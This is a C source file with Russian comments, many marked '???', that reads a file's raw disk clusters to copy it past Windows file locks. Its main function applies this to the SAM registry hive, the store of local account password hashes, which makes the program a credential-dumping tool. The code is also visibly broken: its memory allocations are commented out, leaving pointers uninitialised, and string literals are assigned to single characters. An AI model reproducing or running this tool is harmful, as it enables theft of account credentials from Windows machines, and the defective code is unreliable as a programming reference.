ULONGLONG *GetFileClusters(
LPCWSTR lpFileName, //путь к файлу
ULONG ClusterSize, //размер кластера (какое значение сюда передавать?)
ULONG *ClCount, //???
ULONG *FileSize //размер файла
)
{
HANDLE hFile; //дескриптор файла
ULONG OutSize; //
ULONG Bytes, Cls, CnCount, r; //???
ULONGLONG *Clusters = NULL; //список кластеров
BOOLEAN Result = FALSE;
LARGE_INTEGER PrevVCN, Lcn; //???
STARTING_VCN_INPUT_BUFFER InBuf; //???
PRETRIEVAL_POINTERS_BUFFER OutBuf; //???
//получение доступа к диску:
hFile = CreateFile(lpFileName, FILE_READ_ATTRIBUTES,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_EXISTING, 0, 0);
//при успехе доступа:
if (hFile != INVALID_HANDLE_VALUE)
{
//
*FileSize = GetFileSize(hFile, NULL); //получение размера файла
OutSize = sizeof(RETRIEVAL_POINTERS_BUFFER) + (*FileSize / ClusterSize) * sizeof(OutBuf->Extents); //???
//OutBuf = malloc(OutSize); //выделение памяти
InBuf.StartingVcn.QuadPart = 0; //???
if (DeviceIoControl(hFile, FSCTL_GET_RETRIEVAL_POINTERS, &InBuf,
sizeof(InBuf), OutBuf, OutSize, &Bytes, NULL))
{
*ClCount = (*FileSize + ClusterSize - 1) / ClusterSize; //???
//Clusters = malloc(*ClCount * sizeof(ULONGLONG));
PrevVCN = OutBuf->StartingVcn; //???
for (r = 0, Cls = 0; r < OutBuf->ExtentCount; r++)
{
Lcn = OutBuf->Extents[r].Lcn; //???
for (CnCount = OutBuf->Extents[r].NextVcn.QuadPart - PrevVCN.QuadPart;
CnCount; CnCount--, Cls++, Lcn.QuadPart++) Clusters[Cls] = Lcn.QuadPart;
PrevVCN = OutBuf->Extents[r].NextVcn; //???
}
}
//
free(OutBuf); //???
CloseHandle(hFile);
}
//вернуть список кластеров:
return Clusters;
}void FileCopy(
PCHAR lpSrcName,
PCHAR lpDstName
)
{
ULONG ClusterSize, BlockSize;
ULONGLONG *Clusters;
ULONG ClCount, FileSize, Bytes;
HANDLE hDrive, hFile;
ULONG SecPerCl, BtPerSec, r;
PVOID Buff;
LARGE_INTEGER Offset;
CHAR Name[7];
Name[0] = lpSrcName[0];
Name[1] = ":";
Name[2] = 0;
GetDiskFreeSpace(Name, &SecPerCl, &BtPerSec, NULL, NULL);
ClusterSize = SecPerCl * BtPerSec;
Clusters = GetFileClusters(lpSrcName, ClusterSize, &ClCount, &FileSize);
if (Clusters)
{
Name[0] = "\\";
Name[1] = "\\";
Name[2] = ".";
Name[3] = "\\";
Name[4] = lpSrcName[0];
Name[5] = ":";
Name[6] = 0;
hDrive = CreateFile(Name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
if (hDrive != INVALID_HANDLE_VALUE)
{
hFile = CreateFile(lpDstName, GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
Buff = malloc(ClusterSize);
for (r = 0; r < ClCount; r++, FileSize -= BlockSize)
{
Offset.QuadPart = ClusterSize * Clusters[r];
SetFilePointer(hDrive, Offset.LowPart, &Offset.HighPart, FILE_BEGIN);
ReadFile(hDrive, Buff, ClusterSize, &Bytes, NULL);
BlockSize = FileSize < ClusterSize ? FileSize : ClusterSize;
WriteFile(hFile, Buff, BlockSize, &Bytes, NULL);
}
free(Buff);
CloseHandle(hFile);
}
CloseHandle(hDrive);
}
free(Clusters);
}
}
int main(int argc, char *argv[])
{
CHAR Name[MAX_PATH];
GetSystemDirectory(Name, MAX_PATH);
lstrcat(Name, "\\config\\SAM");
if (argc > 1)
{
FileCopy(Name, argv[1]);
}
return 0;
}